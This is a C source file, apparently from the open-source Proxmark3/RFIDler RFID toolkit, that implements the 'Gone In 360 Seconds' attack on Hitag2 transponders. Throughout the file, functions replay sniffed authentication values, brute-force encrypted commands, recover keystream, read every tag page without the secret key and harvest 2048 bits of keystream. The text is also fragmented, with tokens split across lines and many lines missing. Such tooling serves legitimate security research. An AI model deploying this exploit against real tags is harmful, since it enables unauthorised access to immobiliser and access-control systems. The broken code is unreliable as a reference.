1 //-----------------------------------------------------------------------------
2 // Borrowed initially from https://github.com/factoritbv/hitag2hell
3 // and https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c
4 // Copyright (C) Kevin Sheldrake <kev@headhacking.com>, Aug 2018
5 // Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
7 // This program is free software: you can redistribute it and/or modify
8 // it under the terms of the GNU General Public License as published by
9 // the Free Software Foundation, either version 3 of the License, or
10 // (at your option) any later version.
12 // This program is distributed in the hope that it will be useful,
13 // but WITHOUT ANY WARRANTY; without even the implied warranty of
14 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 // GNU General Public License for more details.
17 // See LICENSE.txt for the text of the license.
18 //-----------------------------------------------------------------------------
19 // hitag2 attack functions
20 //-----------------------------------------------------------------------------
22 #include "hitag2_crypto.h"
23 #include "hitag2crack.h"
25 #define READP0CMD "1100000111"
26 #define ERROR_RESPONSE "F402889C"
28 static const uint8_t Hitag2Sync
[5];
29 static bool CryptoActive
;
30 static Hitag_State Hitag_Crypto_State
;
32 // hitag2_crack implements the first crack algorithm described in the paper,
33 // Gone In 360 Seconds by Verdult, Garcia and Balasch.
34 // response is a multi-line text response containing the 8 pages of the
36 // nrarhex is a string containing hex representations of the 32 bit nR and aR
37 // values (separated by a space) snooped using SNIFF-PWM.
38 bool hitag2_crack(uint8_t *response
, uint8_t *nrarhex
) {
42 uint8_t e_firstcmd
[10];
43 // uint8_t e_page0cmd[10];
48 uint8_t *spaceptr
= NULL
;
50 // get uid as hexstring
51 if (!hitag2_get_uid(uidhex
)) {
52 UserMessage("Cannot get UID\r\n");
56 // convert uid hexstring to binarray
57 hextobinarray(uid
, uidhex
);
59 // convert nR and aR hexstrings to binarray
60 spaceptr
= strchr(nrarhex
, ' ');
62 UserMessage("Please supply a valid nR aR pair\r\n");
67 if (hextobinarray(nrar
, nrarhex
) != 32) {
68 UserMessage("nR is not 32 bits long\r\n");
72 if (hextobinarray(nrar
+ 32, spaceptr
+ 1) != 32) {
73 UserMessage("aR is not 32 bits long\r\n");
77 // find a valid encrypted command
78 if (!hitag2crack_find_valid_e_cmd(e_firstcmd
, nrar
)) {
79 UserMessage("Cannot find a valid encrypted command\r\n");
83 // find the 'read page 0' command and recover key stream
84 if (!hitag2crack_find_e_page0_cmd(keybits
, e_firstcmd
, nrar
, uid
)) {
85 UserMessage("Cannot find encrypted 'read page0' command\r\n");
89 // empty the response string
92 // read all pages using key stream
93 for (i
= 0; i
< 8; i
++) {
94 if (hitag2crack_read_page(pagehex
, i
, nrar
, keybits
)) {
95 sprintf(temp
, "%1d: %s\r\n", i
, pagehex
);
97 sprintf(temp
, "%1d:\r\n", i
);
99 // add page string to response
100 strcat(response
, temp
);
106 // hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
107 // with a different sequential encrypted command value in order to find one
108 // that returns a valid response.
109 // e_cmd is the returned binarray of the valid encrypted command;
110 // nrar is the binarray of the 64 bit nR aR pair.
111 bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd
[], uint8_t nrar
[]) {
113 uint8_t responsestr
[9];
115 // UserMessage("Finding valid encrypted command:");
116 // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
117 // e.g. x x x x x 0 x 0 0 0
118 for (uint8_t a
= 0; a
< 2; a
++) {
119 for (uint8_t b
= 0; b
< 2; b
++) {
120 for (uint8_t c
= 0; c
< 2; c
++) {
121 for (uint8_t d
= 0; d
< 2; d
++) {
122 for (uint8_t e
= 0; e
< 2; e
++) {
123 for (uint8_t g
= 0; g
< 2; g
++) {
137 if (hitag2crack_send_e_cmd(responsestr
, nrar
, guess
, 10)) {
138 // check if it was valid
139 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
140 // return the guess as the encrypted command
141 memcpy(e_cmd
, guess
, 10);
146 UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
156 // UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
160 // hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
161 // valid encrypted command and tests the results by attempting an extended
162 // command version of the command to see if that produces a valid response.
163 // keybits is the returned binarray of the recovered key stream;
164 // e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
165 // e_firstcmd is the binarray of the first valid encrypted command found;
166 // nrar is the binarray of the 64 bit nR aR pair;
167 // uid is the binarray of the 32 bit UID.
168 bool hitag2crack_find_e_page0_cmd(uint8_t keybits
[], uint8_t e_firstcmd
[], uint8_t nrar
[], uint8_t uid
[]) {
171 uint8_t responsestr
[9];
174 UserMessage("Finding 'read page 0' command:");
175 // we're going to brute the missing 4 bits of the valid encrypted command
176 for (a
= 0; a
< 2; a
++) {
177 for (b
= 0; b
< 2; b
++) {
178 for (c
= 0; c
< 2; c
++) {
179 for (d
= 0; d
< 2; d
++) {
180 // create our guess by bit flipping the pattern of bits
181 // representing the inverted bit and the 3 page bits
182 // in both the non-inverted and inverted parts of the
183 // encrypted command.
184 memcpy(guess
, e_firstcmd
, 10);
186 guess
[5] = !guess
[5];
187 guess
[0] = !guess
[0];
190 guess
[7] = !guess
[7];
191 guess
[2] = !guess
[2];
194 guess
[8] = !guess
[8];
195 guess
[3] = !guess
[3];
198 guess
[9] = !guess
[9];
199 guess
[4] = !guess
[4];
203 if (hitag2crack_send_e_cmd(responsestr
, nrar
, guess
, 10)) {
204 // check if it was valid
205 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
206 // convert response to binarray
207 hextobinarray(e_uid
, responsestr
);
208 // test if the guess was 'read page 0' command
209 if (hitag2crack_test_e_p0cmd(keybits
, nrar
, guess
, uid
, e_uid
)) {
215 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
220 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
228 UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
232 // hitag2crack_test_e_p0cmd XORs the message (command + response) with the
233 // encrypted version to retrieve the key stream. It then uses this key stream
234 // to encrypt an extended version of the READP0CMD and tests if the response
236 // keybits is the returned binarray of the key stream;
237 // nrar is the 64 bit binarray of nR aR pair;
238 // e_cmd is the binarray of the encrypted command;
239 // uid is the binarray of the card UID;
240 // e_uid is the binarray of the encrypted version of the UID.
241 bool hitag2crack_test_e_p0cmd(uint8_t *keybits
, uint8_t *nrar
, uint8_t *e_cmd
, uint8_t *uid
, uint8_t *e_uid
) {
242 uint8_t cipherbits
[42];
243 uint8_t plainbits
[42];
245 uint8_t e_ext_cmd
[40];
246 uint8_t responsestr
[9];
249 // copy encrypted cmd to cipherbits
250 memcpy(cipherbits
, e_cmd
, 10);
252 // copy encrypted uid to cipherbits
253 memcpy(cipherbits
+ 10, e_uid
, 32);
255 // copy cmd to plainbits
256 binstringtobinarray(plainbits
, READP0CMD
);
258 // copy uid to plainbits
259 memcpy(plainbits
+ 10, uid
, 32);
261 // xor the plainbits with the cipherbits to get keybits
262 hitag2crack_xor(keybits
, plainbits
, cipherbits
, 42);
264 // create extended cmd -> 4 * READP0CMD = 40 bits
265 for (i
= 0; i
< 4; i
++) {
266 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
269 // xor extended cmd with keybits
270 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
, 40);
272 // send extended encrypted cmd
273 if (hitag2crack_send_e_cmd(responsestr
, nrar
, e_ext_cmd
, 40)) {
274 // test if it was valid
275 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
280 UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
288 // hitag2crack_xor XORs the source with the pad to produce the target.
289 // source, target and pad are binarrays of length len.
290 void hitag2crack_xor(uint8_t *target
, const uint8_t *source
, const uint8_t *pad
, unsigned int len
) {
292 for (int i
= 0; i
< len
; i
++) {
293 target
[i
] = source
[i
] ^ pad
[i
];
297 // hitag2crack_read_page uses the supplied key stream and nrar pair to read the
298 // given page, returning the response as a hexstring.
299 // responsestr is the returned hexstring;
300 // pagenum is the page number to read;
301 // nrar is the 64 bit binarray of the nR aR pair;
302 // keybits is the binarray of the key stream.
303 bool hitag2crack_read_page(uint8_t *responsestr
, uint8_t pagenum
, uint8_t *nrar
, uint8_t *keybits
) {
306 uint8_t e_responsestr
[9];
309 UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
314 binstringtobinarray(cmd
, READP0CMD
);
329 hitag2crack_xor(e_cmd
, cmd
, keybits
, 10);
331 // send encrypted command
332 if (hitag2crack_send_e_cmd(e_responsestr
, nrar
, e_cmd
, 10)) {
333 // check if it is valid
334 if (strcmp(e_responsestr
, ERROR_RESPONSE
) != 0) {
335 uint8_t e_response
[32];
336 uint8_t response
[32];
337 // convert to binarray
338 hextobinarray(e_response
, e_responsestr
);
340 hitag2crack_xor(response
, e_response
, keybits
+ 10, 32);
341 // convert to hexstring
342 binarraytohex(responsestr
, response
, 32);
345 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
348 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
354 // hitag2crack_send_e_cmd replays the auth and sends the given encrypted
356 // responsestr is the hexstring of the response to the command;
357 // nrar is the 64 bit binarray of the nR aR pair;
358 // cmd is the binarray of the encrypted command to send;
359 // len is the length of the encrypted command.
360 bool hitag2crack_send_e_cmd(uint8_t *responsestr
, uint8_t *nrar
, uint8_t *cmd
, int len
) {
363 uint8_t e_page3str
[9];
366 if (!hitag2_get_uid(uid
)) {
367 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
371 // START_AUTH kills active crypto session
372 CryptoActive
= false;
375 if (!hitag2_get_uid(uid
)) {
376 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
380 // send nrar and receive (useless) encrypted page 3 value
381 if (!hitag2crack_tx_rx(e_page3str
, nrar
, 64, RWD_STATE_WAKING
, false)) {
382 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
386 // send encrypted command
387 if (!hitag2crack_tx_rx(responsestr
, cmd
, len
, RWD_STATE_WAKING
, false)) {
389 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
397 // hitag2crack_tx_rx transmits a message and receives a response.
398 // responsestr is the hexstring of the response;
399 // msg is the binarray of the message to send;
400 // state is the RWD state;
401 // reset indicates whether to reset RWD state after.
402 bool hitag2crack_tx_rx(uint8_t *responsestr
, uint8_t *msg
, int len
, int state
, bool reset
) {
406 // START_AUTH kills active crypto session
407 CryptoActive
= false;
409 if (!rwd_send(msg
, len
, reset
, BLOCK
, state
, RFIDlerConfig
.FrameClock
, 0, RFIDlerConfig
.RWD_Wait_Switch_RX_TX
, RFIDlerConfig
.RWD_Zero_Period
, RFIDlerConfig
.RWD_One_Period
, RFIDlerConfig
.RWD_Gap_Period
, RFIDlerConfig
.RWD_Wait_Switch_TX_RX
)) {
410 UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
414 // skip 1/2 bit to synchronise manchester
416 ret
= read_ask_data(RFIDlerConfig
.FrameClock
, RFIDlerConfig
.DataRate
, tmp
, 37, RFIDlerConfig
.Sync
, RFIDlerConfig
.SyncBits
, RFIDlerConfig
.Timeout
, ONESHOT_READ
, BINARY
);
418 // check if response was a valid length (5 sync bits + 32 bits response)
421 if (memcmp(tmp
, Hitag2Sync
, 5) != 0) {
422 UserMessage("hitag2crack_tx_rx: no sync\r\n");
426 // convert response to hexstring
427 binarraytohex(responsestr
, tmp
+ 5, 32);
431 UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
439 bool hitag2crack_rng_init(uint8_t *response
, uint8_t *input
) {
446 // extract vals from input
448 spaceptr
= strchr(dataptr
, ' ');
450 UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
456 if (strlen(dataptr
) != 12) {
457 UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
461 sharedkey
= rev64(hexreversetoulonglong(dataptr
));
463 dataptr
= spaceptr
+ 1;
464 spaceptr
= strchr(dataptr
, ' ');
466 UserMessage("/r/nno UID\r\n");
471 if (strlen(dataptr
) != 8) {
472 UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
476 serialnum
= rev32(hexreversetoulong(dataptr
));
478 dataptr
= spaceptr
+ 1;
480 if (strlen(dataptr
) != 8) {
481 UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
485 initvector
= rev32(hexreversetoulong(dataptr
));
487 // start up crypto engine
488 hitag2_init(&Hitag_Crypto_State
, sharedkey
, serialnum
, initvector
);
490 strcpy(response
, "Success\r\n");
495 bool hitag2crack_decrypt_hex(uint8_t *response
, uint8_t *hex
) {
501 if (strlen(hex
) != 8) {
502 UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
506 binulong
= hextoulong(hex
);
508 ulongtobinarray(bin
, hitag2_crypt(binulong
, 32), 32);
509 binarraytobinstring(binstr
, bin
, 32);
510 binarraytohex(binhex
, bin
, 32);
511 // UserMessage("ar = %s\r\n", binstr);
512 // UserMessage("arhex = %s\r\n", binhex);
514 strcpy(response
, binhex
);
518 bool hitag2crack_decrypt_bin(uint8_t *response
, uint8_t *e_binstr
) {
525 len
= strlen(e_binstr
);
527 UserMessage("\r\nbinary string must be <= 32 bits\r\n");
531 binstringtobinarray(e_bin
, e_binstr
);
532 binulong
= binarraytoulong(e_bin
, len
);
534 ulongtobinarray(bin
, hitag2_crypt(binulong
, len
), len
);
535 binarraytobinstring(binstr
, bin
, len
);
536 strcpy(response
, binstr
);
540 bool hitag2crack_encrypt_hex(uint8_t *response
, uint8_t *hex
) {
541 // XOR pad so encrypt == decrypt :)
542 return hitag2crack_decrypt_hex(response
, hex
);
545 bool hitag2crack_encrypt_bin(uint8_t *response
, uint8_t *e_binstr
) {
546 return hitag2crack_decrypt_bin(response
, e_binstr
);
549 // hitag2_keystream uses the first crack algorithm described in the paper,
550 // Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
552 // response is a multi-line text response containing the hex of the keystream;
553 // nrarhex is a string containing hex representations of the 32 bit nR and aR
554 // values (separated by a space) snooped using SNIFF-PWM.
555 bool hitag2_keystream(uint8_t *response
, uint8_t *nrarhex
) {
559 uint8_t e_firstcmd
[10];
560 // uint8_t e_page0cmd[10];
561 // uint8_t keybits[2080];
562 uint8_t *keybits
= DataBuff
;
563 uint8_t keybitshex
[67];
566 // uint8_t pagehex[9];
569 uint8_t *spaceptr
= NULL
;
572 keybits = malloc(2080);
574 UserMessage("cannot malloc keybits\r\n");
579 // get uid as hexstring
580 if (!hitag2_get_uid(uidhex
)) {
581 UserMessage("Cannot get UID\r\n");
585 // convert uid hexstring to binarray
586 hextobinarray(uid
, uidhex
);
588 // convert nR and aR hexstrings to binarray
589 spaceptr
= strchr(nrarhex
, ' ');
591 UserMessage("Please supply a valid nR aR pair\r\n");
596 if (hextobinarray(nrar
, nrarhex
) != 32) {
597 UserMessage("nR is not 32 bits long\r\n");
601 if (hextobinarray(nrar
+ 32, spaceptr
+ 1) != 32) {
602 UserMessage("aR is not 32 bits long\r\n");
606 // find a valid encrypted command
607 if (!hitag2crack_find_valid_e_cmd(e_firstcmd
, nrar
)) {
608 UserMessage("Cannot find a valid encrypted command\r\n");
612 // find the 'read page 0' command and recover key stream
613 if (!hitag2crack_find_e_page0_cmd(keybits
, e_firstcmd
, nrar
, uid
)) {
614 UserMessage("Cannot find encrypted 'read page0' command\r\n");
618 // using the 40 bits of keystream in keybits, sending commands with ever
619 // increasing lengths to acquire 2048 bits of key stream.
622 while (kslen
< 2048) {
624 if (!hitag2crack_send_auth(nrar
)) {
625 UserMessage("hitag2crack_send_auth failed\r\n");
628 // while we have at least 52 bits of keystream, consume it with
629 // extended read page 0 commands. 52 = 10 (min command len) +
630 // 32 (response) + 10 (min command len we'll send)
631 while ((kslen
- ksoffset
) >= 52) {
632 // consume the keystream, updating ksoffset as we go
633 if (!hitag2crack_consume_keystream(keybits
, kslen
, &ksoffset
, nrar
)) {
634 UserMessage("hitag2crack_consume_keystream failed\r\n");
638 // send an extended command to retrieve more keystream, updating kslen
640 if (!hitag2crack_extend_keystream(keybits
, &kslen
, ksoffset
, nrar
, uid
)) {
641 UserMessage("hitag2crack_extend_keystream failed\r\n");
644 UserMessage("Recovered %d bits of keystream\r\n", kslen
);
648 for (i
= 0; i
< 2048; i
+= 256) {
649 binarraytohex(keybitshex
, keybits
+ i
, 256);
650 UserMessage("%s\r\n", keybitshex
);
658 // hitag2crack_send_auth replays the auth and returns.
659 // nrar is the 64 bit binarray of the nR aR pair;
660 bool hitag2crack_send_auth(uint8_t *nrar
) {
662 uint8_t e_page3str
[9];
665 if (!hitag2_get_uid(uid
)) {
666 UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
670 // START_AUTH kills active crypto session
671 CryptoActive
= false;
674 if (!hitag2_get_uid(uid
)) {
675 UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
679 // send nrar and receive (useless) encrypted page 3 value
680 if (!hitag2crack_tx_rx(e_page3str
, nrar
, 64, RWD_STATE_WAKING
, false)) {
681 UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
687 // hitag2crack_consume_keystream sends an extended command (up to 510 bits in
688 // length) to consume keystream.
689 // keybits is the binarray of keystream bits;
690 // kslen is the length of keystream;
691 // ksoffset is a pointer to the current keystream offset (updated by this fn);
692 // nrar is the 64 bit binarray of the nR aR pair.
693 bool hitag2crack_consume_keystream(uint8_t *keybits
, int kslen
, int *ksoffset
, uint8_t *nrar
) {
697 uint8_t ext_cmd
[510];
698 uint8_t e_ext_cmd
[510];
699 uint8_t responsestr
[9];
701 // calculate the length of keybits to consume with the extended command.
702 // 42 = 32 bit response + 10 bit command reserved for next command. conlen
703 // cannot be longer than 510 bits to fit into the small RWD buffer.
704 conlen
= kslen
- *ksoffset
- 42;
706 UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
715 // calculate how many repeated commands to send in this extended command.
716 numcmds
= conlen
/ 10;
718 // build extended command
719 for (i
= 0; i
< numcmds
; i
++) {
720 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
723 // xor extended cmd with keybits
724 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
+ *ksoffset
, numcmds
* 10);
726 // send encrypted command
727 if (!hitag2crack_tx_rx(responsestr
, e_ext_cmd
, numcmds
* 10, RWD_STATE_WAKING
, false)) {
728 UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
733 if (strcmp(responsestr
, ERROR_RESPONSE
) == 0) {
734 UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
738 // don't bother decrypting the response - we already know the keybits
740 // update ksoffset with command length and response
741 *ksoffset
+= (numcmds
* 10) + 32;
746 // hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
747 // keybits is the binarray of the keystream bits;
748 // kslen is a pointer to the current keybits length;
749 // ksoffset is the offset into the keybits array;
750 // nrar is the 64 bit binarray of the nR aR pair;
751 // uid is the 32 bit binarray of the UID.
752 bool hitag2crack_extend_keystream(uint8_t *keybits
, int *kslen
, int ksoffset
, uint8_t *nrar
, uint8_t *uid
) {
755 uint8_t ext_cmd
[510];
756 uint8_t e_ext_cmd
[510];
757 uint8_t responsestr
[9];
758 uint8_t e_response
[32];
761 // calc number of command iterations to send
762 cmdlen
= *kslen
- ksoffset
;
764 UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
768 numcmds
= cmdlen
/ 10;
770 // build extended command
771 for (i
= 0; i
< numcmds
; i
++) {
772 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
775 // xor extended cmd with keybits
776 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
+ ksoffset
, numcmds
* 10);
778 // send extended encrypted cmd
779 if (!hitag2crack_tx_rx(responsestr
, e_ext_cmd
, numcmds
* 10, RWD_STATE_WAKING
, false)) {
780 UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
785 if (strcmp(responsestr
, ERROR_RESPONSE
) == 0) {
786 UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
790 // convert response to binarray
791 hextobinarray(e_response
, responsestr
);
793 // recover keystream from encrypted response
794 hitag2crack_xor(keybits
+ ksoffset
+ (numcmds
* 10), e_response
, uid
, 32);
797 *kslen
= ksoffset
+ (numcmds
* 10) + 32;
803 bool hitag2_reader(uint8_t *response
, uint8_t *key
, bool interactive
) {
808 if (hitag2_crypto_auth(tmp
, key
)) {
809 // read tag, one page at a time
810 for (int i
= 0; i
<= 7; ++i
) {
811 if (!read_tag(tmp
, i
, i
)) {
812 // if read fails, it could be because of auth,
814 if (!hitag2_crypto_auth(tmp
, key
)) {
815 // if we can't reauth, it's a real failure
818 // temp failure (probably due to page protections)
819 strcpy(tmp
, "XXXXXXXX");
821 // page contents are in tmp
822 strcat(response
, tmp
);
827 for (i
= 0; i
<= 7 ; ++i
) {
828 UserMessageNum("%d: ", i
);
829 memcpy(tmp
, response
+ (i
* 8), 8);
830 UserMessage("%s\r\n", tmp
);
832 UserMessage("%s", "\r\n");
834 hitag2_nvm_store_tag(response
);